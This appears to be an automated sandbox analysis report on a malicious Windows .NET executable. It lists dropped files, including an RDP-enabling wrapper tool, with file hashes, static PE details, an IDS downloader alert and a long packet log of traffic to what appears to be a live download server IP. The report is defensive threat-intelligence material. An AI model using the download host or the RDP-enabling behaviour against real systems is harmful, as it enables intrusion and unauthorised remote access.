SSDEEP:	24576:+rKxoVT2iXc+IZP+6WiaTAsN/3ebTvK+63CWH8iA/iD2hgPjcC8SVdKumYr7:vHZGpdqYH8ia6GcKuR7
MD5:	C213162C86BB943BCDF91B3DF381D2F6
SHA1:	8EC200E2D836354A62F16CDB3EED4BB760165425
SHA-256:	AC91B2A2DB1909A2C166E243391846AD8D9EDE2C6FCFD33B60ACF599E48F9AFC
SHA-512:	B3EAD28BB1F4B87B0C36C129864A8AF34FC11E5E9FEAA047D4CA0525BEC379D07C8EFEE259EDE8832B65B3C03EF4396C9202989249199F7037D56439187F147B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68% Antivirus: Virustotal, Detection: 78%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...#.CZ.................4..........<7.......P....@..............................................@...................................`...{.......................^...................................................................................text... ........................... ..`.itext..\|....0... .................. ..`.data...x....P.......8..............@....bss.....O...p.......L...................idata...............L..............@....tls.................`...................rdata...............`..............@..@.reloc...^.......`...b..............@..B.rsrc....{...`...\|..................@..@.............p......................@..@................................................................................................

C:\Windows\System32\rfxvmt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372282454257978
Encrypted:	false
SSDEEP:	6144:rFVfpi6ceLP/9skLmb0ayWWSPtaJG8nAge35OlMMhA2AX4WABlguNPiL:RV1QyWWI/glMM6kF7Fq
MD5:	F1BCE4A5C7DE908DD5EA74859846AD43
SHA1:	4EA8D14E89BB9E1E37521B1316618D22CE93533B
SHA-256:	319A7DCBB18A1205BA5E5D3287D3D40D2D90CDF11C75CCD3E7B892BBC5C22A70
SHA-512:	8A9587AE4729AF386080FC24CEA6EA067CDD3505E77413A3F720D62CE959201250A1DE46375E2BFC302C96CF40FBBC4BCA7C6A8AF8FC9FCDC6F76F5DBBC696BC
Malicious:	false
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.... ...............................................................................................................................................................................................................................................................................................................................................\...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:t:t
MD5:	F1CA165C0DA831C9A17D08C4DECBD114
SHA1:	D750F8260312A40968458169B496C40DACC751CA
SHA-256:	ACCF036232D2570796BF0ABF71FFE342DC35E2F07B12041FE739D44A06F36AF8
SHA-512:	052FF09612F382505B049EF15D9FB83E46430B5EE4EEFB0F865CD1A3A50FDFA6FFF573E0EF940F26E955270502D5774187CD88B90CD53792AC1F6DFA37E4B646
Malicious:	false
Preview:	Ok.....

**\Device\Mup\226546*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Users\user\Desktop\hloRQZmlfg.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.5957680897627275
Encrypted:	false
SSDEEP:	3:9alp/lj5I2Y1AnysjX8lLn:opoGWLn
MD5:	938C00D0FDB2EDAA0B021147CADE0D31
SHA1:	EC80E5D071694E592A3A60A2EAED203C131B226E
SHA-256:	45BC0D458DCDA1394EF04E4AEC88737F8B7E09675706523439FC847C3EA98985
SHA-512:	B010C80F20CBA02626A1EB085F92423B068681016A949D1EAC2B8AFA970C45FBC719948B63420E61D2F3BB3A0EA85DAADED8ED6F543EE22D534D701C075A5763
Malicious:	false
Preview:	....2.2.6.5.4.6.....\MAILSLOT\NET\GETDC72E98D64.................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.596283104365083
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	hloRQZmlfg.exe
File size:	76'800 bytes
MD5:	cee4e023e6afaaa51f600caec3469215
SHA1:	bf2ceff1f19f09a70863d1f8c7be0fa9662b3b04
SHA256:	da52143dd6a13c1ea3e24e735f64938830e2a3160ae08989629a43e5020d1173
SHA512:	186f7a7592e2c21a83afe68bf0d57a3ad598ff5f3a74b626b45d4d555d9af52b66d0cba74445a55f89771f3078b47e18ae30feb6038934a433d99d85250a7ace
SSDEEP:	1536:Vkucxe3ckl/Q2slz7jHGZI7rBrWMwgN3R29suranxH2ufS/lXqfEbO3O6kiz:Vkucx0I26z/8uz22gaxH2z1qciO6Jz
TLSH:	AD73F12032A98019E67B607DA950A7486977D6AF6705DF1978CC1B3FCFA36C0C2532F6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...+............."...0..............0... ...@....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4130be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x84BB012B [Wed Jul 25 16:54:03 2040 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x13064	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x14000	0x1417	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x16000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x110c4	0x11200	8d6c12afb3160a216b609a663f674244	False	0.8936045848540146	data	7.703627501061181	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x14000	0x1417	0x1600	08623ea232cafcfcefed1b0e7d59e098	False	0.37340198863636365	data	5.288273886180103	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x16000	0xc	0x200	323b94de8d126aeab9521a81e540fc48	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x140a0	0x254	data			0.45805369127516776
RT_MANIFEST	0x142f4	0x1123	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.4043765671301573

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T03:23:43.830864+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49710	104.26.12.205	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:23:03.951134920 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:03.955995083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:03.956073046 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:03.960208893 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:03.965126991 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578062057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578075886 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578092098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578128099 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.578176975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578186989 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578203917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578234911 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.578258038 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578269958 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.578270912 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578289032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578303099 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.578325987 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.578366041 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.583029985 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.583041906 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.583058119 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.583098888 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.627655983 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.666476965 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666493893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666526079 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666537046 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666546106 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.666608095 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.666706085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666743040 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666765928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666779995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666793108 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.666805983 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.666848898 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.667645931 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.667656898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.667681932 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.667692900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.667714119 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.667714119 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.667753935 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.668484926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.668495893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.668514967 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.668535948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.668549061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.668562889 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.668605089 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.669236898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.669289112 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.669298887 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.669313908 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.669354916 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.669380903 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.721445084 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.758914948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.758949995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.758959055 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.758996964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759011030 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759025097 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759105921 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759110928 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.759119034 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759140015 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759182930 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.759833097 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759843111 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759867907 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759887934 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759897947 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759915113 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.759915113 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.759967089 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.760005951 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.760385990 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.760415077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.760426044 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.760457039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.760548115 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.760694981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.760725975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.760740042 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.760766029 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.760781050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.760792971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.760831118 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.761208057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.761253119 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.761260986 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.761272907 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.761297941 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.761344910 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.761367083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.761378050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.761394978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.761409998 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.761440992 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.762134075 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762141943 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762157917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762171030 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762207985 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.762253046 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.762279987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762291908 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762310028 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762332916 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.762888908 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762902021 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762912035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.762963057 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.762990952 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.762995958 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.763008118 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.763027906 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.763040066 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.763070107 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.763104916 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.763737917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.763794899 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.763940096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.763998032 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.764010906 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.764053106 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.851979971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852005005 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852015018 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852062941 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852072001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852099895 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.852158070 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.852575064 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852586985 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852606058 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852622032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852632999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852633953 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.852658987 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.852684975 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.852701902 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852719069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.852760077 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.853209019 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.853236914 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.853247881 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.853291035 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.853312016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.853322983 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.853346109 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.853355885 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.853357077 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.853379965 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.854234934 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854279995 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.854307890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854393959 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854433060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854444027 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854475021 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.854495049 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854505062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854507923 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.854523897 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854546070 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.854595900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854607105 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854623079 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854645967 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.854661942 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854674101 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854677916 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.854691982 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.854718924 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.855267048 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.855317116 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.855335951 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.855381012 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.855407000 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.855438948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.855446100 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.855457067 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.855473042 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:04.855484962 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.855525970 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:04.856412888 CEST	80	49706	147.45.44.104	192.168.2.8
